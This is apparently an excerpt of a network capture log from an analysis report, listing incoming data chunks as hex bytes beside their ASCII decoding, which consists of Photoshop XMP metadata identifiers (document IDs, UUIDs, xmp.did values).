2022-07-21 02:34:44 UTC	2405	IN	Data Raw: 43 45 45 44 44 41 41 37 36 43 35 45 34 41 38 35 38 45 31 32 36 39 31 34 34 36 37 42 41 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 45 46 35 36 42 42 45 45 46 41 39 46 36 36 45 35 31 31 42 41 32 38 46 43 35 34 33 31 34 42 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 30 33 34 46 43 46 38 38 35 42 31 44 32 34 44 35 32 44 35 44 38 38 36 43 44 37 39 37 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 31 44 30 43 33 43 43 39 36 35 37 31 31 34 34 46 44 33 45 45 42 46 43 36 31 36 39 35 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 32 42 33 41 46 31 33 45 38 37 41 37 39 46 41 42 44 43 45 37 32 41 35 35 33 44 46 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 46 32 41 33 Data Ascii: CEEDDAA76C5E4A858E126914467BA03A</rdf:li> <rdf:li>CEF56BBEEFA9F66E511BA28FC54314B9</rdf:li> <rdf:li>CF034FCF885B1D24D52D5D886CD79778</rdf:li> <rdf:li>CF1D0C3CC96571144FD3EEBFC6169588</rdf:li> <rdf:li>CF22B3AF13E87A79FABDCE72A553DF0C</rdf:li> <rdf:li>CF2A3
2022-07-21 02:34:44 UTC	2483	IN	Data Raw: 3a 6c 69 3e 44 35 41 32 35 39 43 45 37 32 33 35 35 31 31 36 44 43 39 31 43 33 46 34 39 41 35 39 33 44 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 41 38 34 43 35 46 33 39 34 34 39 38 31 45 46 45 34 44 37 42 45 44 41 31 33 45 33 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 44 31 41 41 45 41 35 41 41 31 45 43 31 39 38 36 35 41 30 33 30 38 41 36 30 32 36 33 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 43 46 42 46 46 37 39 34 31 31 39 39 33 30 46 39 46 30 35 37 32 33 37 32 45 46 46 30 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 44 32 38 44 31 38 37 33 32 39 32 35 33 32 31 31 37 30 30 46 36 32 30 36 42 32 32 42 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 Data Ascii: :li>D5A259CE72355116DC91C3F49A593D4D</rdf:li> <rdf:li>D5A84C5F3944981EFE4D7BEDA13E3260</rdf:li> <rdf:li>D5CD1AAEA5AA1EC19865A0308A60263F</rdf:li> <rdf:li>D5CFBFF794119930F9F0572372EFF0DE</rdf:li> <rdf:li>D5D28D187329253211700F6206B22BD3</rdf:li> <rdf:li>D
2022-07-21 02:34:44 UTC	2540	IN	Data Raw: 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 34 35 31 38 42 44 42 37 34 44 46 36 44 37 36 34 44 30 42 37 43 42 35 33 45 30 36 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 32 39 30 30 35 46 37 45 42 42 43 42 35 38 46 45 30 39 44 41 35 38 42 38 34 44 33 42 39 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 33 37 34 31 43 41 43 30 41 41 44 43 44 32 44 31 37 45 44 41 37 34 33 30 38 32 45 38 30 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 35 38 42 35 45 31 44 42 46 36 33 37 37 41 32 43 37 34 44 32 37 30 30 32 46 38 39 41 42 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 33 36 41 31 36 39 37 45 37 38 44 30 45 43 42 32 45 38 36 32 34 41 31 41 37 38 45 39 32 45 41 3c 2f 72 Data Ascii: A9</rdf:li> <rdf:li>E324518BDB74DF6D764D0B7CB53E06AD</rdf:li> <rdf:li>E329005F7EBBCB58FE09DA58B84D3B93</rdf:li> <rdf:li>E33741CAC0AADCD2D17EDA743082E80C</rdf:li> <rdf:li>E358B5E1DBF6377A2C74D27002F89ABE</rdf:li> <rdf:li>E36A1697E78D0ECB2E8624A1A78E92EA</r
2022-07-21 02:34:44 UTC	2556	IN	Data Raw: 41 37 42 32 31 45 35 38 31 36 35 30 44 37 35 37 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 30 45 46 32 34 38 46 38 38 31 39 32 42 33 39 43 38 46 36 46 30 46 38 43 33 44 38 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 34 36 31 36 44 42 37 31 34 31 42 44 38 45 34 34 44 41 41 37 35 35 30 39 43 35 42 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 43 42 37 38 31 41 38 43 37 43 38 46 42 43 31 34 38 38 36 38 34 43 36 32 44 33 30 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 45 39 41 45 41 42 43 31 37 31 35 31 36 32 43 45 44 31 32 37 32 33 43 44 44 43 35 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 46 33 46 39 45 46 36 44 30 35 35 37 36 39 37 31 36 46 Data Ascii: A7B21E581650D75711</rdf:li> <rdf:li>EF30EF248F88192B39C8F6F0F8C3D839</rdf:li> <rdf:li>EF34616DB7141BD8E44DAA75509C5B92</rdf:li> <rdf:li>EF3CB781A8C7C8FBC1488684C62D3062</rdf:li> <rdf:li>EF3E9AEABC1715162CED12723CDDC55B</rdf:li> <rdf:li>EF3F9EF6D055769716F
2022-07-21 02:34:44 UTC	2595	IN	Data Raw: 34 37 33 46 43 46 45 38 45 41 38 44 46 35 41 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 43 45 46 38 35 36 31 34 45 31 39 33 45 38 45 33 43 33 35 42 32 45 34 33 43 45 33 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 44 33 38 35 39 35 38 44 37 44 41 30 41 35 34 30 32 35 44 32 32 34 43 44 43 38 44 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 30 46 39 31 35 39 39 30 44 42 39 35 43 30 39 32 34 42 43 30 32 37 44 44 31 32 30 44 37 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 31 39 35 33 39 46 41 33 44 35 35 39 43 43 43 39 34 31 44 30 45 41 39 36 30 43 31 44 46 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 35 33 43 41 37 43 30 32 34 42 37 31 46 31 35 32 36 32 31 35 Data Ascii: 473FCFE8EA8DF5AC</rdf:li> <rdf:li>F50CEF85614E193E8E3C35B2E43CE35F</rdf:li> <rdf:li>F50D385958D7DA0A54025D224CDC8DA4</rdf:li> <rdf:li>F50F915990DB95C0924BC027DD120D77</rdf:li> <rdf:li>F519539FA3D559CCC941D0EA960C1DFD</rdf:li> <rdf:li>F53CA7C024B71F1526215
2022-07-21 02:34:44 UTC	2698	IN	Data Raw: 65 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 64 64 32 66 64 30 2d 64 33 32 36 2d 31 31 64 64 2d 61 64 36 30 2d 64 38 35 64 38 30 38 30 36 61 64 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 61 65 37 64 37 35 32 2d 38 63 61 64 2d 31 31 64 39 2d 62 39 33 34 2d 62 38 37 39 39 31 35 63 39 31 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 30 62 39 38 38 61 62 62 2d 65 30 38 63 2d 31 31 64 37 2d 38 64 34 34 2d 38 32 64 32 31 62 33 61 36 38 30 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: e120</rdf:li> <rdf:li>adobe:docid:photoshop:0add2fd0-d326-11dd-ad60-d85d80806ad1</rdf:li> <rdf:li>adobe:docid:photoshop:0ae7d752-8cad-11d9-b934-b879915c9142</rdf:li> <rdf:li>adobe:docid:photoshop:0b988abb-e08c-11d7-8d44-82d21b3a680f</rdf:li> <rdf:li>adobe
2022-07-21 02:34:44 UTC	2785	IN	Data Raw: 33 64 66 33 65 32 32 65 2d 62 35 36 65 2d 31 31 64 64 2d 61 64 35 32 2d 62 64 32 36 61 63 39 30 66 33 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 64 66 38 35 38 32 32 2d 62 66 35 66 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 30 62 31 33 35 32 2d 62 34 37 62 2d 31 31 65 34 2d 39 30 61 39 2d 61 30 61 61 66 35 66 35 31 61 62 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 33 65 34 31 39 37 62 39 2d 61 30 34 64 2d 31 31 65 37 2d 61 35 35 39 2d 62 64 61 Data Ascii: 3df3e22e-b56e-11dd-ad52-bd26ac90f3f6</rdf:li> <rdf:li>adobe:docid:photoshop:3df85822-bf5f-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:3e0b1352-b47b-11e4-90a9-a0aaf5f51ab1</rdf:li> <rdf:li>adobe:docid:photoshop:3e4197b9-a04d-11e7-a559-bda
2022-07-21 02:34:44 UTC	2793	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 39 36 62 65 65 2d 33 33 31 30 2d 31 31 37 39 2d 38 37 39 35 2d 66 61 37 38 31 65 62 65 34 37 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 32 62 64 35 38 37 32 2d 39 39 32 65 2d 31 31 64 39 2d 38 31 64 34 2d 39 62 37 64 30 31 66 39 37 32 32 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 34 32 62 66 36 38 2d 30 66 36 37 2d 31 31 64 65 2d 38 63 38 39 2d 61 62 64 38 36 38 31 35 32 39 30 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:52b96bee-3310-1179-8795-fa781ebe4746</rdf:li> <rdf:li>adobe:docid:photoshop:52bd5872-992e-11d9-81d4-9b7d01f9722d</rdf:li> <rdf:li>adobe:docid:photoshop:5342bf68-0f67-11de-8c89-abd868152904</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-21 02:34:44 UTC	2873	IN	Data Raw: 37 37 2d 38 34 64 62 2d 39 66 38 61 38 63 63 66 32 63 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 32 66 39 36 65 64 36 2d 36 37 61 62 2d 31 31 65 37 2d 61 36 36 38 2d 62 33 38 63 35 31 62 36 39 37 35 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 30 62 65 38 36 32 2d 36 66 62 34 2d 31 31 64 64 2d 39 63 31 37 2d 63 37 64 38 39 39 37 66 34 30 38 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 38 33 33 38 62 39 63 34 2d 62 34 64 65 2d 31 31 37 61 2d 39 66 32 37 2d 65 64 35 32 35 37 30 62 36 31 31 65 3c 2f 72 64 66 3a 6c Data Ascii: 77-84db-9f8a8ccf2c09</rdf:li> <rdf:li>adobe:docid:photoshop:82f96ed6-67ab-11e7-a668-b38c51b6975b</rdf:li> <rdf:li>adobe:docid:photoshop:830be862-6fb4-11dd-9c17-c7d8997f408c</rdf:li> <rdf:li>adobe:docid:photoshop:8338b9c4-b4de-117a-9f27-ed52570b611e</rdf:l
2022-07-21 02:34:44 UTC	2952	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 62 64 64 31 37 61 2d 61 64 31 62 2d 31 31 65 36 2d 62 62 64 30 2d 64 32 65 33 32 66 36 61 61 66 31 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 38 65 38 63 63 38 34 2d 64 39 33 65 2d 31 31 65 37 2d 61 62 32 64 2d 65 66 39 31 34 32 64 64 65 36 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 31 62 30 37 66 38 2d 34 61 66 33 2d 31 31 65 37 2d 61 35 61 39 2d 65 37 64 35 62 33 34 37 34 33 39 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 62 39 32 38 36 65 34 39 2d 62 65 Data Ascii: docid:photoshop:b8bdd17a-ad1b-11e6-bbd0-d2e32f6aaf17</rdf:li> <rdf:li>adobe:docid:photoshop:b8e8cc84-d93e-11e7-ab2d-ef9142dde686</rdf:li> <rdf:li>adobe:docid:photoshop:b91b07f8-4af3-11e7-a5a9-e7d5b3474394</rdf:li> <rdf:li>adobe:docid:photoshop:b9286e49-be
2022-07-21 02:34:44 UTC	3000	IN	Data Raw: 39 39 32 32 33 61 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 33 34 38 31 39 39 35 2d 31 62 65 37 2d 31 31 64 61 2d 62 32 34 63 2d 62 65 32 36 64 62 62 34 32 37 64 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 34 63 63 65 35 31 64 2d 65 34 62 37 2d 31 31 65 36 2d 39 66 33 34 2d 65 30 63 34 65 32 65 62 37 36 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 35 37 34 30 31 61 38 2d 31 38 35 39 2d 31 31 37 61 2d 61 36 34 63 2d 65 61 34 66 34 30 32 30 34 39 33 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 99223a6</rdf:li> <rdf:li>adobe:docid:photoshop:d3481995-1be7-11da-b24c-be26dbb427d9</rdf:li> <rdf:li>adobe:docid:photoshop:d4cce51d-e4b7-11e6-9f34-e0c4e2eb765d</rdf:li> <rdf:li>adobe:docid:photoshop:d57401a8-1859-117a-a64c-ea4f40204932</rdf:li> <rdf:li>ad
2022-07-21 02:34:44 UTC	3016	IN	Data Raw: 3e 75 75 69 64 3a 30 37 31 36 42 34 31 39 32 33 34 38 44 43 31 31 38 32 46 35 39 44 34 33 36 43 39 45 38 45 43 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 31 45 43 39 34 36 46 38 31 41 31 31 44 43 38 37 33 31 44 34 39 35 46 37 46 44 45 43 37 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 36 45 33 34 34 31 31 32 41 36 44 46 31 31 41 44 31 38 38 30 31 39 34 39 42 45 43 42 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 38 35 44 39 36 46 37 38 34 39 44 46 31 31 38 30 43 32 43 46 44 46 45 35 35 42 41 42 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 30 37 39 35 34 44 45 36 36 36 41 45 45 30 31 31 41 38 39 33 39 39 35 35 42 44 45 31 39 Data Ascii: >uuid:0716B4192348DC1182F59D436C9E8ECE</rdf:li> <rdf:li>uuid:071EC946F81A11DC8731D495F7FDEC7E</rdf:li> <rdf:li>uuid:076E344112A6DF11AD18801949BECB5D</rdf:li> <rdf:li>uuid:0785D96F7849DF1180C2CFDFE55BAB09</rdf:li> <rdf:li>uuid:07954DE666AEE011A8939955BDE19
2022-07-21 02:34:44 UTC	3899	IN	Data Raw: 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 45 42 41 42 44 35 38 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 33 41 43 41 44 43 35 42 42 35 44 44 31 31 42 34 44 37 46 35 43 33 45 32 32 33 43 37 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 34 42 38 31 42 45 31 37 35 45 44 44 31 31 42 42 37 34 46 45 35 42 35 30 31 46 42 45 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 35 42 39 30 38 46 43 45 44 41 44 46 31 31 42 45 43 36 41 33 42 46 38 44 36 39 34 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 37 38 36 31 36 30 39 43 43 Data Ascii: 3</rdf:li> <rdf:li>uuid:3EBABD582231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:3F3ACADC5BB5DD11B4D7F5C3E223C7EA</rdf:li> <rdf:li>uuid:3F4B81BE175EDD11BB74FE5B501FBEC4</rdf:li> <rdf:li>uuid:3F5B908FCEDADF11BEC6A3BF8D694452</rdf:li> <rdf:li>uuid:3F7861609CC
2022-07-21 02:34:44 UTC	3907	IN	Data Raw: 75 69 64 3a 35 37 39 35 33 31 35 31 33 31 30 43 44 46 31 31 38 44 41 43 39 41 32 43 39 44 35 38 44 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 41 32 32 36 34 31 32 44 45 41 45 30 31 31 38 43 43 46 38 46 41 35 36 46 46 38 44 36 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 44 42 44 38 34 45 43 31 36 32 45 30 31 31 38 43 31 36 44 31 42 39 37 41 32 35 36 35 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 30 35 35 46 43 42 39 37 41 35 31 31 44 44 41 37 45 32 39 43 30 46 33 36 32 37 30 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 32 45 41 44 42 44 42 35 30 39 45 34 31 31 38 33 36 33 44 36 35 31 41 32 33 34 34 38 38 Data Ascii: uid:57953151310CDF118DAC9A2C9D58DA96</rdf:li> <rdf:li>uuid:57A226412DEAE0118CCF8FA56FF8D6A6</rdf:li> <rdf:li>uuid:57DBD84EC162E0118C16D1B97A256573</rdf:li> <rdf:li>uuid:58055FCB97A511DDA7E29C0F36270FFB</rdf:li> <rdf:li>uuid:582EADBDB509E4118363D651A234488
2022-07-21 02:34:44 UTC	3923	IN	Data Raw: 34 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 38 44 36 38 46 34 36 43 30 46 31 31 44 43 39 36 36 39 41 30 41 34 43 39 39 33 46 30 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 43 46 36 30 32 43 45 34 39 30 44 44 31 31 41 43 37 38 38 34 33 39 34 33 31 43 31 35 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 44 44 30 39 38 43 41 41 39 45 44 43 31 31 41 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 34 30 46 30 46 36 39 33 31 31 31 44 44 41 35 46 42 46 34 45 33 37 39 46 41 34 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 36 43 42 33 44 Data Ascii: 4392</rdf:li> <rdf:li>uuid:8A8D68F46C0F11DC9669A0A4C993F0F6</rdf:li> <rdf:li>uuid:8ACF602CE490DD11AC788439431C1542</rdf:li> <rdf:li>uuid:8ADD098CAA9EDC11A04398050076FC83</rdf:li> <rdf:li>uuid:8B140F0F693111DDA5FBF4E379FA43DB</rdf:li> <rdf:li>uuid:8B16CB3D
2022-07-21 02:34:44 UTC	3939	IN	Data Raw: 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 39 38 34 37 33 35 33 35 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 41 33 42 31 45 31 38 42 41 32 44 45 31 31 42 45 44 37 43 35 37 44 45 34 38 36 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 44 35 36 35 38 44 41 39 41 41 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 30 32 46 31 43 42 34 35 32 33 45 31 31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 36 30 36 36 39 38 43 31 45 44 31 31 44 42 41 31 31 39 41 43 36 Data Ascii: rdf:li>uuid:BD9847353546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:BDA3B1E18BA2DE11BED7C57DE486FE49</rdf:li> <rdf:li>uuid:BDD5658DA9AA11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:BE02F1CB4523E111B0DFB86470705002</rdf:li> <rdf:li>uuid:BE606698C1ED11DBA119AC6
2022-07-21 02:34:44 UTC	3947	IN	Data Raw: 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 44 31 31 39 39 34 37 45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 39 38 30 41 32 31 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 36 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 41 31 39 30 31 30 42 36 42 37 44 45 31 31 38 46 39 32 43 37 39 33 33 36 38 43 42 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 2BECE2974D198</rdf:li> <rdf:li>uuid:DE186DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uuid:DE68D869591BDD119947E03C52BEF1B0</rdf:li> <rdf:li>uuid:DE980A215AE6DE1190AEBAF6332FC6C0</rdf:li> <rdf:li>uuid:DEA19010B6B7DE118F92C793368CB351</rdf:li> <rdf:li>uuid
2022-07-21 02:34:44 UTC	3963	IN	Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 38 39 45 34 39 46 39 44 45 33 30 39 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 39 35 36 43 30 45 44 32 32 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 35 39 33 46 44 31 30 36 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 36 43 30 45 43 39 44 36 46 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 4</rdf:li> <rdf:li>xmp.did:01801174072068119189E49F9DE3090B</rdf:li> <rdf:li>xmp.did:018011740720681192B08956C0ED2270</rdf:li> <rdf:li>xmp.did:018011740720681192B09593FD106902</rdf:li> <rdf:li>xmp.did:018011740720681192B096C0EC9D6FC5</rdf:li> <rdf:li>xmp.
2022-07-21 02:34:44 UTC	3979	IN	Data Raw: 37 36 32 34 44 32 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 39 34 44 43 32 38 32 32 46 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 45 46 31 41 36 45 33 36 41 42 44 46 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 39 46 31 42 36 39 31 35 33 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: 7624D21CA</rdf:li> <rdf:li>xmp.did:04801174072068118DBBE94DC2822FDB</rdf:li> <rdf:li>xmp.did:04801174072068118EF1A6E36ABDF900</rdf:li> <rdf:li>xmp.did:04801174072068118F629F1B691538C0</rdf:li> <rdf:li>xmp.did:04801174072068118F62EE64CEC33CEF</rdf:li> <rdf
